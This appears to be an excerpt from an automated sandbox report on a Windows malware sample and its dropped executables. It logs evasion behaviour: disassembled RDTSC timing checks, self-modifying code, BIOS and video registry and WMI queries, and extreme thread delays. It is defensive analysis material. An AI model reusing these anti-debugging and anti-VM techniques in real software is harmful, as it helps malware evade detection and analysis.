Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D08D8 second address: 49D08DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D08DC second address: 49D08E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D08E2 second address: 49D0909 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39B4C7E9BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F39B4C7E9C5h 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe	RDTSC instruction interceptor: First address: 96DDF5 second address: 96DDFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe	RDTSC instruction interceptor: First address: AE6CB4 second address: AE6CB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe	RDTSC instruction interceptor: First address: AE6CB8 second address: AE6CBC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe	RDTSC instruction interceptor: First address: AEF324 second address: AEF328 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe	RDTSC instruction interceptor: First address: AEF328 second address: AEF345 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F39B4DF4744h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe	RDTSC instruction interceptor: First address: AEF345 second address: AEF34E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe	RDTSC instruction interceptor: First address: AEF34E second address: AEF354 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe	RDTSC instruction interceptor: First address: AEF4C9 second address: AEF4CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe	RDTSC instruction interceptor: First address: AEF663 second address: AEF66F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F39B4DF4736h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe	RDTSC instruction interceptor: First address: AEF66F second address: AEF674 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe	RDTSC instruction interceptor: First address: AEF674 second address: AEF67E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F39B4DF4736h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe	RDTSC instruction interceptor: First address: AEFC04 second address: AEFC0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe	RDTSC instruction interceptor: First address: AEFC0A second address: AEFC12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe	RDTSC instruction interceptor: First address: AF157C second address: AF15A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jns 00007F39B4C7E9B6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp], eax 0x00000011 mov cx, si 0x00000014 push 00000000h 0x00000016 mov dx, ADC5h 0x0000001a push 906670A8h 0x0000001f push ecx 0x00000020 push eax 0x00000021 push edx 0x00000022 jnl 00007F39B4C7E9B6h 0x00000028 rdtsc
Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe	RDTSC instruction interceptor: First address: AF15A4 second address: AF15E9 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F39B4DF4736h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b add dword ptr [esp], 6F998FD8h 0x00000012 adc dx, 6961h 0x00000017 push 00000003h 0x00000019 mov edx, dword ptr [ebp+122D2F25h] 0x0000001f push 00000000h 0x00000021 mov dword ptr [ebp+122D3C18h], ecx 0x00000027 push 00000003h 0x00000029 mov si, di 0x0000002c mov dword ptr [ebp+122D1E73h], edx 0x00000032 call 00007F39B4DF4739h 0x00000037 push eax 0x00000038 push edx 0x00000039 jp 00007F39B4DF4738h 0x0000003f rdtsc
Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe	RDTSC instruction interceptor: First address: AF15E9 second address: AF168C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push esi 0x0000000a jmp 00007F39B4C7E9C6h 0x0000000f pop esi 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 pushad 0x00000015 pushad 0x00000016 jmp 00007F39B4C7E9BFh 0x0000001b js 00007F39B4C7E9B6h 0x00000021 popad 0x00000022 pushad 0x00000023 push eax 0x00000024 pop eax 0x00000025 jl 00007F39B4C7E9B6h 0x0000002b popad 0x0000002c popad 0x0000002d mov eax, dword ptr [eax] 0x0000002f pushad 0x00000030 jno 00007F39B4C7E9B8h 0x00000036 jl 00007F39B4C7E9B8h 0x0000003c push ecx 0x0000003d pop ecx 0x0000003e popad 0x0000003f mov dword ptr [esp+04h], eax 0x00000043 push eax 0x00000044 jmp 00007F39B4C7E9C5h 0x00000049 pop eax 0x0000004a pop eax 0x0000004b jmp 00007F39B4C7E9C3h 0x00000050 sub dword ptr [ebp+122D3526h], edx 0x00000056 lea ebx, dword ptr [ebp+12457467h] 0x0000005c or dword ptr [ebp+122D1E44h], edi 0x00000062 xchg eax, ebx 0x00000063 pushad 0x00000064 push eax 0x00000065 push edx 0x00000066 pushad 0x00000067 popad 0x00000068 rdtsc
Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe	RDTSC instruction interceptor: First address: AF168C second address: AF16A9 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F39B4DF4736h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F39B4DF473Bh 0x0000000f popad 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe	RDTSC instruction interceptor: First address: AF16A9 second address: AF16AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe	RDTSC instruction interceptor: First address: AF16AD second address: AF16BD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39B4DF473Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe	RDTSC instruction interceptor: First address: AF1766 second address: AF17F0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39B4C7E9C8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a jmp 00007F39B4C7E9C7h 0x0000000f pop esi 0x00000010 popad 0x00000011 mov dword ptr [esp], eax 0x00000014 push 00000000h 0x00000016 push ecx 0x00000017 call 00007F39B4C7E9B8h 0x0000001c pop ecx 0x0000001d mov dword ptr [esp+04h], ecx 0x00000021 add dword ptr [esp+04h], 00000018h 0x00000029 inc ecx 0x0000002a push ecx 0x0000002b ret 0x0000002c pop ecx 0x0000002d ret 0x0000002e mov esi, dword ptr [ebp+122D2E89h] 0x00000034 push 00000000h 0x00000036 cld 0x00000037 push 3BAD6F66h 0x0000003c pushad 0x0000003d jne 00007F39B4C7E9C0h 0x00000043 push eax 0x00000044 push edx 0x00000045 jmp 00007F39B4C7E9C0h 0x0000004a rdtsc
Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe	RDTSC instruction interceptor: First address: AF17F0 second address: AF1862 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F39B4DF4736h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b xor dword ptr [esp], 3BAD6FE6h 0x00000012 mov dword ptr [ebp+122D1C93h], ebx 0x00000018 push 00000003h 0x0000001a adc di, D5D6h 0x0000001f push 00000000h 0x00000021 mov dword ptr [ebp+122D34D3h], eax 0x00000027 push 00000003h 0x00000029 mov si, 4840h 0x0000002d call 00007F39B4DF4739h 0x00000032 jmp 00007F39B4DF473Ch 0x00000037 push eax 0x00000038 push edi 0x00000039 push esi 0x0000003a push eax 0x0000003b pop eax 0x0000003c pop esi 0x0000003d pop edi 0x0000003e mov eax, dword ptr [esp+04h] 0x00000042 jmp 00007F39B4DF4745h 0x00000047 mov eax, dword ptr [eax] 0x00000049 jg 00007F39B4DF4742h 0x0000004f jnc 00007F39B4DF473Ch 0x00000055 push eax 0x00000056 push edx 0x00000057 rdtsc
Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe	RDTSC instruction interceptor: First address: AF1862 second address: AF1873 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov dword ptr [esp+04h], eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b jno 00007F39B4C7E9B6h 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe	RDTSC instruction interceptor: First address: AF1873 second address: AF18B7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39B4DF473Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a pop eax 0x0000000b mov edi, dword ptr [ebp+122D2DEDh] 0x00000011 lea ebx, dword ptr [ebp+12457470h] 0x00000017 mov dword ptr [ebp+122D247Fh], ebx 0x0000001d or esi, 0115B1BEh 0x00000023 xchg eax, ebx 0x00000024 jmp 00007F39B4DF473Fh 0x00000029 push eax 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d pushad 0x0000002e popad 0x0000002f pushad 0x00000030 popad 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe	RDTSC instruction interceptor: First address: AF18B7 second address: AF18C1 instructions: 0x00000000 rdtsc 0x00000002 je 00007F39B4C7E9BCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe	RDTSC instruction interceptor: First address: AF190D second address: AF1912 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe	RDTSC instruction interceptor: First address: AF1912 second address: AF1918 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe	RDTSC instruction interceptor: First address: AF1918 second address: AF1925 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 25EE9E instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 3F6725 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 41A6FD instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 405801 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 484455 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe	Special instruction interceptor: First address: 96DE77 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe	Special instruction interceptor: First address: B438F0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe	Special instruction interceptor: First address: 96DDA3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe	Special instruction interceptor: First address: BADB36 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\FMQRQQBV70LQ52SA3P6LYU.exe	Special instruction interceptor: First address: F2EBDB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\FMQRQQBV70LQ52SA3P6LYU.exe	Special instruction interceptor: First address: F2EB3E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\FMQRQQBV70LQ52SA3P6LYU.exe	Special instruction interceptor: First address: 116365F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 84EBDB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 84EB3E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: A8365F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe	Special instruction interceptor: First address: 97081F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Special instruction interceptor: First address: 44EE9E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Special instruction interceptor: First address: 5E6725 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Special instruction interceptor: First address: 60A6FD instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Special instruction interceptor: First address: 5F5801 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Special instruction interceptor: First address: 674455 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	Special instruction interceptor: First address: D0DB83 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	Special instruction interceptor: First address: EA36E1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	Special instruction interceptor: First address: EA9C1C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	Special instruction interceptor: First address: F305D3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\FVJELX1J0WZE21U53029YWO.exe	Special instruction interceptor: First address: CBDE77 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\FVJELX1J0WZE21U53029YWO.exe	Special instruction interceptor: First address: E938F0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\FVJELX1J0WZE21U53029YWO.exe	Special instruction interceptor: First address: CBDDA3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\FVJELX1J0WZE21U53029YWO.exe	Special instruction interceptor: First address: EFDB36 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\XNXDGT6D647USNMWPLK.exe	Special instruction interceptor: First address: F5EBDB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\XNXDGT6D647USNMWPLK.exe	Special instruction interceptor: First address: F5EB3E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\XNXDGT6D647USNMWPLK.exe	Special instruction interceptor: First address: 119365F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\FVJELX1J0WZE21U53029YWO.exe	Special instruction interceptor: First address: CC081F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\I2N109OTNRC1U5QURKF07D4TDEJX.exe	Special instruction interceptor: First address: 9ADE77 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\I2N109OTNRC1U5QURKF07D4TDEJX.exe	Special instruction interceptor: First address: B838F0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\I2N109OTNRC1U5QURKF07D4TDEJX.exe	Special instruction interceptor: First address: 9ADDA3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\I2N109OTNRC1U5QURKF07D4TDEJX.exe	Special instruction interceptor: First address: BEDB36 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\I2N109OTNRC1U5QURKF07D4TDEJX.exe	Special instruction interceptor: First address: 9B081F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\T9ZRQE6U4JYG25WDD1H6CU.exe	Special instruction interceptor: First address: 9EBDB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\T9ZRQE6U4JYG25WDD1H6CU.exe	Special instruction interceptor: First address: 9EB3E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\T9ZRQE6U4JYG25WDD1H6CU.exe	Special instruction interceptor: First address: 2D365F instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe	Memory allocated: 5300000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe	Memory allocated: 5610000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe	Memory allocated: 5420000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002744001\hostname.exe	Memory allocated: 2F70000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002744001\hostname.exe	Memory allocated: 3170000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002744001\hostname.exe	Memory allocated: 3090000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FVJELX1J0WZE21U53029YWO.exe	Memory allocated: 4F10000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\FVJELX1J0WZE21U53029YWO.exe	Memory allocated: 5130000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\FVJELX1J0WZE21U53029YWO.exe	Memory allocated: 5030000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\I2N109OTNRC1U5QURKF07D4TDEJX.exe	Memory allocated: 5200000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\I2N109OTNRC1U5QURKF07D4TDEJX.exe	Memory allocated: 53D0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\I2N109OTNRC1U5QURKF07D4TDEJX.exe	Memory allocated: 5200000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe

Code function: 4_2_00AEF4BC rdtsc

4_2_00AEF4BC

Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FVJELX1J0WZE21U53029YWO.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\I2N109OTNRC1U5QURKF07D4TDEJX.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1141	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1143	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 358	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1390	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 971	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002747001\b0a3006fe7.exe	Window / User API: threadDelayed 800

Source: C:\Users\user\Desktop\file.exe TID: 1472	Thread sleep time: -240000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3160	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe TID: 4236	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6268	Thread sleep count: 1141 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6268	Thread sleep time: -2283141s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 760	Thread sleep count: 1143 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 760	Thread sleep time: -2287143s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1396	Thread sleep count: 358 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1396	Thread sleep time: -10740000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4904	Thread sleep count: 1390 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4904	Thread sleep time: -2781390s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4044	Thread sleep count: 971 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4044	Thread sleep time: -1942971s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5740	Thread sleep time: -360000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe TID: 2156	Thread sleep time: -44022s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe TID: 1056	Thread sleep time: -40020s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe TID: 3424	Thread sleep time: -270000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe TID: 7056	Thread sleep time: -42021s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe TID: 3972	Thread sleep time: -46023s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe TID: 2528	Thread sleep time: -36000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe TID: 5788	Thread sleep time: -60000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe TID: 3220	Thread sleep time: -38019s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe TID: 5932	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\FVJELX1J0WZE21U53029YWO.exe TID: 6248	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1002748001\num.exe TID: 3884	Thread sleep count: 40 > 30
Source: C:\Users\user\AppData\Local\Temp\1002748001\num.exe TID: 3884	Thread sleep time: -240000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe TID: 2396	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\I2N109OTNRC1U5QURKF07D4TDEJX.exe TID: 6036	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\FMQRQQBV70LQ52SA3P6LYU.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FVJELX1J0WZE21U53029YWO.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\I2N109OTNRC1U5QURKF07D4TDEJX.exe	Thread delayed: delay time: 922337203685477

Source: 445877ac99.exe, 0000000B.00000003.2882144184.0000000005554000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
